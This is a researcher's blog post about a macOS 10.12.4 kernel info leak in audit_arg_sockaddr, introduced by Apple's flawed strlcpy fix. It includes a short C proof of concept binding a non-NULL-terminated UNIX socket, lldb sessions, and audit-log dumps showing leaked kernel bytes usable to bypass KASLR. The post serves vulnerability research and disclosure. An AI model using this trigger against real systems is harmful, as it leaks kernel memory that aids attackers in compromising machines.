Two Bugs, One Func()
› part ii: a kernel info leak 0day, thanks to Apple's fix
4/06/2017
love these blog posts? support my tools & writing on patreon! Mahalo :)
Background
The first part of this multi-series blog post showed how to track down the cause of a kernel panic on macOS 10.12.3. In short, turned out that if a UNIX socket structure (sockaddr_un) was allocated exactly at the end of a memory page with an unmapped page adjacent, an off-one-error read error would trigger a kernel panic if auditing was enabled:
Sure you could panic a system, however, as far as I could tell this bug was not exploitable. That is to say, from a security point of view it was rather uninteresting.
For this second blog post, I originally planned to briefly cover Apple's fix for this bug, before diving into a second more serious bug I discovered within the same audit_arg_sockaddr function. This second bug, a ring-0 heap overflow, provided a mechanism to execute arbitrary code within the context of the kernel. Ya, quite bad!
However after spending about 2 seconds looking at their 'fix' (released in macOS 10.12.4), it was apparent that not only did it not address the issue, but actually made things far worse by introducing a new security vulnerability :( Note that at this time, this bug is a 0day - though requires network level ('nt') auditing be enabled (which can be turned on with root privileges).
Recall that the buggy code in macOS 10.12.3 was simply trying to make a copy of a UNIX socket's path, sun_path, for auditing purposes. Since such socket paths do not have to be NULL-terminated, the code attempted to account for this...and did so almost correctly. As we showed in the previous blog though, the following chunk of Apple code, sun->sun_path[slen] != 0 contains an off-one-error read error that could lead to a kernel panic:
void audit_arg_sockaddr(struct kaudit_record *ar, struct vnode *cwd_vp, struct sockaddr *sa)
{
int slen;
struct sockaddr_un *sun;
char path[SOCK_MAXADDRLEN - offsetof(struct sockaddr_un, sun_path) + 1];
...
bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len);
switch (sa->sa_family) {
...
case AF_UNIX:
sun = (struct sockaddr_un *)sa;
slen = sun->sun_len - offsetof(struct sockaddr_un, sun_path);
if(slen >= 0){
/*
* Make sure the path is NULL-terminated
*/
if(sun->sun_path[slen] != 0){
bcopy(sun->sun_path, path, slen);
path[slen] = 0;
audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);
}
...
}
In 10.12.4, Apple tried to 'fix' the kernel panic I reported by replacing the buggy line of code with the following:
/*
* Make sure the path is NULL-terminated
*/
strlcpy(path, sun->sun_path, sizeof(path));
audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);
This fix makes absolutely zero-sense - and actually introduces an even worse bug! Why?
In short, strlcpy simply copies until it finds a NULL (0x0) or until the destination buffer ('path') is full. As UNIX socket paths (sun_path) don't have to be NULL-terminated this code can still panic the box (as it reads past the end of the sockaddr_un structure), or worse yet leaks random kernel memory into an audit path that's accessible in user-mode! #facepalm
Let's take a closer look at all of this. First showing how to create a UNIX socket that triggers this buggy code, and then dynamically debugging the vulnerability in ring-0. We'll end by showing how to dump kernel memory into user mode, thanks to Apple's new 'fix' :P
UNIX Sockets
First one of my favorite nerd jokes:
Now that's out of the way, let's show how to create a UNIX socket that has a non-NULL-terminated path. Recall that UNIX sockets are described via the sockaddr_un structure, which is declared in sys/un.h:
$ cat /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs
/MacOSX.sdk/usr/include/sys/un.h
/*
* [XSI] Definitions for UNIX IPC domain.
*/
struct sockaddr_un {
unsigned char sun_len; /* sockaddr len including null */
sa_family_t sun_family; /* [XSI] AF_UNIX */
char sun_path[104]; /* [XSI] path name (gag) */
};
Creating a UNIX socket is simple! First, create a socket of type AF_UNIX then initialize a sockaddr_un structure with the socket's path. Pass this to the bind function to, well bind, the path to the socket. Confirm via the getsockname function.
#define SOCK_PATH "/tmp/unixSocket"
int unixSocket = -1;
struct sockaddr_un addr = {0};
int length = sizeof(struct sockaddr_un);
//create socket
unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);
//initialize address
addr.sun_len = length;
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, SOCK_PATH);
//bind path
bind(unixSocket, (struct sockaddr *)&addr, length);
//reset
memset(&addr, 0x0, sizeof(struct sockaddr_un));
//get name
getsockname(unixSocket, (struct sockaddr *)&addr, (socklen_t*)&length);
printf("bound path: %s\n", addr.sun_path);
When run, the following code successfully creates a UNIX socket, binds it to /tmp/unixSocket, then retrieves the bound name in order to print it out.
Since the open-source part of macOS 10.12.4 was just released, it is pretty easy to see what's going on behind the scenes. Specifically let's look at how a path such as '/tmp/unixSocket' gets bound to a socket.
The bind function is implemented in the kernel, within the uipc_syscalls.c file. After various sanity checks bind invokes either the getsockaddr or getsockaddr_s function to bind the path the socket:
int bind(__unused proc_t p, struct bind_args *uap, __unused int32_t *retval)
{
struct socket *so;
error = file_socket(uap->s, &so);
...
if (uap->namelen > sizeof (ss)) {
error = getsockaddr(so, &sa, uap->name, uap->namelen, TRUE);
} else {
error = getsockaddr_s(so, &ss, uap->name, uap->namelen, TRUE);
...
Both functions are similar (getsockaddr dynamically allocates a struct sockaddr for larger paths) and basically just copy in (bind) the path from user mode:
static int getsockaddr_s(struct socket *so, struct sockaddr_storage *ss,
user_addr_t uaddr, size_t len, boolean_t translate_unspec)
{
...
bzero(ss, sizeof (*ss));
error = copyin(uaddr, (caddr_t)ss, len);
...
ss->ss_len = len;
Pretty straightforward, ya? The most interesting for us here though, is to note that nothing in this code ensures that the socket path is NULL-terminated (copyin just does a straight byte-by-byte copy). This is by design, for reasons explained in the following quote:
"Note that bind() is a generic system call. Its definition allows it to be used for many different address familys, each of which has a different format for addresses. For UNIX domain socket, they are path names. For INET sockets, they are 32-bit internet addresses. The bind() code cannot make any assumptions about the format of the address, it just copies it in as an opaque object." (source)
Other sources such as 'Addressing within the AF_UNIX Domain' confirm this, stating, "The sun_path field contains the name of the file which represents the open socket. It need not be null delimited."
However, it should be noted that since code within both getsockaddr and getsockaddr_s (such as bzero(ss, sizeof (*ss))) zeros out the entire sockaddr_storage structure before copying in the name - if the length of the socket path doesn't take up the full (entire) struct sockaddr_storage ('ss') it will inadvertently be NULL-terminated. This just means, create a long enough path and it won't be terminated with a NULL (0x0).
Below is a snippet of code that creates a 'legal' socket path that does fill up the entire structure, thus ensuring it is not NULL-terminated.
//create socket
int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);
//alloc/fill
char* addr = malloc(128);
memset(addr, 0x41, 128);
((struct sockaddr_un*)addr)->sun_len = 128;
((struct sockaddr_un*)addr)->sun_family = AF_UNIX;
//bind
bind(unixSocket, (struct sockaddr *)addr, 128));
What's special about the size 128? This is the maximum size ('_SS_MAXSIZE') of a struct sockaddr_storage, the structure getsockaddr_s populates with the path name. This structure is declared in bsd/sys/socket.h:
/*
* RFC 2553: protocol-independent placeholder for socket addresses
*/
#define _SS_MAXSIZE 128
#define _SS_ALIGNSIZE (sizeof(int64_t))
#define _SS_PAD1SIZE (_SS_ALIGNSIZE - sizeof(u_char) - sizeof(sa_family_t))
#define _SS_PAD2SIZE (_SS_MAXSIZE - sizeof(u_char) - sizeof(sa_family_t) - \
_SS_PAD1SIZE - _SS_ALIGNSIZE)
struct sockaddr_storage {
u_char ss_len; /* address length */
sa_family_t ss_family; /* address family */
char __ss_pad1[_SS_PAD1SIZE];
int64_t __ss_align; /* force desired structure storage alignment */
char __ss_pad2[_SS_PAD2SIZE];
};
Executing the above code, creates a UNIX socket that fully fills up a sockaddr_storage structure, thus ensuring the path component is not NULL-terminated. Again, this is perfectly legal as there is nothing saying the path has to be NULL-terminated :)
If auditing is enabled, the audit_arg_sockaddr function will be invoked to audit socket operations, such as when a UNIX socket is bound. Again; here is Apple's new (macOS 10.12.4) code for auditing UNIX sockets within the audit_arg_sockaddr function:
char path[SOCK_MAXADDRLEN - offsetof(struct sockaddr_un, sun_path) + 1];
bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len);
case AF_UNIX:
sun = (struct sockaddr_un *)sa;
if (sun->sun_len > offsetof(struct sockaddr_un, sun_path)) {
/*
* Make sure the path is NULL-terminated
*/
strlcpy(path, sun->sun_path, sizeof(path));
audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);
}
...
In short, it tries to make a copy (via the strlcpy function) of the socket's path. The source buffer is the UNIX socket's path, sun_path, while the destination is a variable named 'path'.
The first (obvious?) issue is that since the UNIX socket's path, sun_path, isn't NULL terminated, strlcpy will just keep copying random bytes into 'path' until it encounters a NULL (0x0), or until the 'path' buffer (size: SOCK_MAXADDRLEN - 2 + 1 = 254) is filled up. If sensitive kernel memory (pointers, etc) are found adjacent to the UNIX socket structure, these could be (partially) copied into the path buffer. The following diagram illustrates this foo'bar'd copy, showing the strlcpy copying 'extra' bytes into 'path' until it encounters a NULL:
This may be used to bypass KALSR as the path (now appended with random kernel data) is propagated to user-mode (specifically, it makes it way into the audit database):
//send f**k'd up path to user-mode
audit_arg_upath(ar, cwd_vp, path, ARG_UPATH1);
And second what if the socket structure (containing the non-NULL-terminated path) is allocated immediately before an unmapped page? If you guessed kernel-panic, you'd be right:
A Live Look
Let's see this dynamically in action! The goal is to leak kernel memory from user-mode via an audited socket path.
First we need to setup a kernel debugger. I blogged about this previously - but will briefly reiterate the steps here:
- Disable SIP
Boot into Recovery Mode, open a terminal and type: csrutil disable, then reboot
# csrutil disable
Successfully disabled System Integrity Protection.
Please restart the machine for the changes to take effect.
- Enable Debugging in the Debuggee
In a terminal on the machine you are going to debug (I use a VM), type: sudo nvram boot-args="debug=0x144 pmuflags=1 -v"
Then reboot.
- Download & Install Apple's 'Kernel Debug Kit'
This requires an Apple Developer ID, and can be downloaded from here. This should be installed on the host machine.
- Start lldb
On the debugger machine (i.e. the host, not the VM) launch lldb in a terminal. Then execute the following:
(lldb) target create /Library/Developer/KDKs/KDK_10.12.4_16E195.kdk/System/Library/Kernels/kernel
(lldb) command script import "/Library/Developer/KDKs/KDK_10.12.4_16E195.kdk/System/Library/Kernels/kernel.dSYM/
Contents/Resources/DWARF/../Python/kernel.py"
- Generate a 'Non-Maskable Interrupt' (NMI)
On the debuggee machine (the VM), hit command+alt+control+shift+esc (all at once) to generate a non-maskable interrupt. This will trigger a catchable debug event!
- Connect to the Debuggee
Hop back to the debugger machine (the host) and type: kdp-remote <ip addr of vm>
This will establish a remote debugging session!
(lldb) kdp-remote 192.168.0.53
Version: Darwin Kernel Version 16.5.0
Target arch: x86_64
...
Process 1 stopped
* thread #2: kernel`Debugger [inlined] stop reason = signal SIGSTOP
Ok, so now we have the ability to 'remotely' debug a kernel of another macOS box. Neat :)
Let's start by setting a breakpoint on bind:
(lldb) b bind
Breakpoint 1: where = kernel`bind + 37 at uipc_syscalls.c:307, address = 0xffffff800a9d9175
Since this breakpoint will be triggered countless times (anytime any code on the system binds an address or path to a socket), let's instruct the debugger to only break on certain sockets. Specifically ones that are exactly 128 bytes in length (i.e. the 'evil' UNIX sockets we are creating with non-NULL-terminated paths). We can do this with the br 'mod' command. Note that the size of the socket being passed into bind will be at offset +0x10 within a structure pointed to by $RSI:
(lldb) br mod -c '*(int*)($rsi+0x10)==128'
In the VM (the macOS instance we are debugging), execute the code that creates a UNIX socket with an non-NULL-terminated path:
//create socket
int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0);
//alloc/fill
char* addr = malloc(128);
memset(addr, 0x41, 128);
((struct sockaddr_un*)addr)->sun_len = 128;
((struct sockaddr_un*)addr)->sun_family = AF_UNIX;
//bind
bind(unixSocket, (struct sockaddr *)addr, 128));
This will trigger our conditional breakpoint set on bind, to be hit:
Process 1 stopped
* thread #5: kernel`bind(p=0xffffff8018679960, uap=0xffffff801952ecc0, retval=0xffffff801952ed00) stop reason = breakpoint 1.1
(lldb) bt
frame #0: 0xffffff80101d9175 kernel`bind()
frame #1: 0xffffff8010225695 kernel`unix_syscall64()
frame #2: 0xffffff800fc9dd46 kernel`hndl_unix_scall64
Dumping the arguments (specifically the bind_args structure, the second arg (thus in $RSI)) we can confirm that yes, this is a stocket of size 128:
p *(struct bind_args *)$rsi
(struct bind_args) $20 = {
...
name = 140241106108416
namelen = 128
...
}
We cannot (yet) access the name (at address 140241106108416/0x7f8c6d500000), as that's a user-mode address (which AFAIK, can't be directly accessed via lldb in the context of the kernel). But no worries, we just set a breakpoint just after the copyin function call (in the getsockaddr_s function - which actually has been compiled inline, into the bind function). As copyin copies the UNIX socket's name into kernel mode, it will then be viewable in the debugger.
br s -a 0xffffff80101d928e
Breakpoint 2: where = kernel`bind + 318 [inlined] copyin + 25 at uipc_syscalls.c:2822, address = 0xffffff80101d928e
Once that breakpoint is hit, we can dump the 'bound' socket (stored in $RBX)
p *(struct sockaddr_storage *)$rbx
(struct sockaddr_storage) = (ss_len = '\x80', ss_family = '\x01', __ss_pad1 = char [6] @ 0x00007fa41f3ed152, __ss_align = 4702111234474983745, __ss_pad2 = char [112] @ 0x00007fa41f3ed160)
(lldb) x/128xb $rbx
0xffffff806f40bea0: 0x80 0x01 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bea8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40beb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40beb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bec0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bec8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bed0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bed8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bee0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bee8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bef0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bef8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bf00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bf08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bf10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bf18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
As the following shows, that's our socket!
- size: 0x80/128d
- type: 0x01, AF_UNIX
- path: 0x41414141414141... (not NULL-terminated!)
With auditing is enabled on the VM, set a breakpoint within audit_arg_sockaddr, the buggy function. Specifically, set a breakpoint on the code within the function that handles the auditing of UNIX sockets (address: 0xffffff8010120e47):
audit_arg_sockaddr:
movzx eax, byte ptr [rbx+1]
cmp eax, 1
jz short AF_UNIX
0xffffff8010120e47 AF_UNIX:
movzx eax, byte ptr [rbx]
(lldb) br s -a 0xffffff8010120e47
Breakpoint 4: where = kernel`audit_arg_sockaddr + 135 at audit_arg.c:381, address = 0xffffff8010120e47
Once this breakpoint is hit, we can dump that socket that is being audited to confirm it's the UNIX socket (in $RBX, same address 0xffffff806f40bea0) we just created:
Process 1 stopped
* thread #5: kernel`audit_arg_sockaddr(ar=0xffffff80176a87c0, cwd_vp=0xffffff801921d000, sa=0xffffff806f40bea0) + 135 stop reason = breakpoint 4.1
(lldb) p *(struct sockaddr *)$rbx
(struct sockaddr) $48 = (sa_len = '\x80', sa_family = '\x01', sa_data = char [14] @ 0x00007fa422908a42)
(lldb) x/128xb $rbx
0xffffff806f40bea0: 0x80 0x01 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bea8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41.....
Single stepping in the debugger, we hit the 'buggy' strlcpy line:
//source code
strlcpy(path, sun->sun_path, sizeof(path));
//disassembly
copy:
mov cl, [rbx+rax+2]
mov [rbp+rax+path], cl
test cl, cl
jz short done
inc rax
cmp rax, 0FDh
jnz short copy
mov [rbp+rax+path], 0
In the above disassembly:
- $RAX: 0-based index/counter of the bytes to copy
- $RBX+2: source bytes (sun->sun_path)
- $RBP-0x130: destination buffer (path)
Once the strlcpy loop has completed, we can dump the registers:
(lldb) reg read
General Purpose Registers:
rax = 0x000000000000007f
rbx = 0xffffff806f40bea0
...
rip = 0xffffff8010120e99 kernel`audit_arg_sockaddr + 217
From this, we can see:
- Number of Bytes Copied: 127 ($RAX)
Recall the path of the UNIX socket, sun_path, starts at offset 0x2 inside the sockaddr_un structure. Since the socket we created was 128 bytes, this means the path is 126 (128 - 2). Since 127 bytes were copied, this means one extra 1 byte outside the socket was leaked 'into' the 'path' variable.
Why just one? If we dump the memory just past the sockaddr_un structure we can see it happens to be a 0xd7 0x00. The strlcpy function stops when it hits a 0x0 (NULL). Thus only one byte, 0xd7 was copied:
(lldb) x/8xb $rbx+128
0xffffff806f40bf20: 0xd7 0x00 0x52 0x44 0x1f 0x67 0x61 0x7f
Of course, if there wasn't a random 0x0 just 2 bytes outside the socket structure, strlcpy would have kept on copying....until a 0x0 was hit, or until 'path' was filled up!
- Bytes Copied into 'path' ($RBP-0x130):
x/s $rbp-0x130
0xffffff806f40bd40: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAA\xffffffd7"
(lldb) x/127xb $rbp-0x130
0xffffff806f40bd40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bda0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bda8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bdb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f40bdb8: 0x41 0x41 0x41 0x41 0x41 0x41 0xd7
Woohoo a corrupted path!!
Want to leak more bytes into the path? Of course you do :) Just increase the size of the socket above 128. This will cause the bind function to allocate the socket structure on the heap (via getsockaddr) instead of the stack.
int bind(__unused proc_t p, struct bind_args *uap, __unused int32_t *retval)
{
//paths greater than 128
// ->invoke getsockaddr to dynamically allocate via the heap
if (uap->namelen > sizeof (ss))
{
error = getsockaddr(so, &sa, uap->name, uap->namelen, TRUE);
} else {
error = getsockaddr_s(so, &ss, uap->name, uap->namelen, TRUE);
}
....
static int getsockaddr(struct socket *so, struct sockaddr **namp, user_addr_t uaddr, size_t len, boolean_t translate_unspec)
{
...
MALLOC(sa, struct sockaddr *, len, M_SONAME, M_WAITOK | M_ZERO);
error = copyin(uaddr, (caddr_t)sa, len);
Testing showed such heap-based socket structures allowed for longer leaks (i.e. more random kernel bytes were copied into the audited 'path' variable before a 0x0 was hit). For example, a socket of size 200, leaked 0x10 (16) bytes:
(lldb) x/255xb $rbp-0x130
x/255xb $rbp-0x130
0xffffff806f26bd40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd68: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bda0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bda8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bde0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bde8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdf0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26bdf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffff806f26be00: 0x41 0x41 0x41 0x41 0x41 0x41 0x90 0x99
0xffffff806f26be08: 0x0b 0x0f 0x07 0x54 0x38 0xc4 0xba 0x22
0xffffff806f26be10: 0x83 0x3b 0x9e 0x56 0xd5 0xe0 0x00 ....
Moreover, there is no limit to the number of times you can leak kernel data. Just keep creating and binding UNIX sockets :)
A'ight, so it easy to get the kernel to leak bytes into the audit path for UNIX socket. How do we access this leak in user-mode? That is to say, where do these leaked kernel bytes show up? In the audit log!
Audit logs are stored in /var/audit. If we dump the logs (via hexdump), guess what! there's the leaked kernel bytes:
$ sudo hexdump -C /var/audit/20170406055225.not_terminated | less
00000110 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |/AAAAAAAAAAAAAAA|
00000120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
000001d0 41 41 41 41 41 41 41 90 99 0b 0f 07 54 38 c4 ba |AAAAAAA.....T8..|
000001e0 22 83 3b 9e 56 d5 e0 00
Leaking random kernel memory to user-mode is of course a security issue. It's possible sensitive information (maybe partial hashes, password, etc) by be leaked, or partial pointer addresses that would allow a local attacker to defeat KASLR.
Conclusions
In my last blog post, we discussed an off-by-one bug I found in the macOS 10.12.3 kernel that could cause a kernel panic. I responsible reported this bug to Apple:
I also reported a second bug unique bug, a heap-overflow in the macOS 10.12.3 kernel (stay tuned for a blog on this!). Apple closed both bugs as a duplicate of some other single bug (huh?). Worse though, as we showed in this blog post, their 'fix' (in macOS 10.12.4) for the off-by-one bug:
- did not fix the kernel panic
- introduced a kernel info leak, that could leak sensitive information or be used to bypass KASLR
Though this bug is an unpatched 0day, it requires auditing to be enabled (which can be turned on if you have root privileges). Moreover, accessing (reading) the leaked kernel memory in the audit log requires root privileges.
On macOS though, with root privileges one still cannot bypass SIP, nor load unsigned code into the kernel. Thus advanced attackers, even with root privileges, often will exploit a kernel bug to fully compromise a system. Such bugs, generally require a KASLR bypass...such as the one we described here. Don't blame me ;)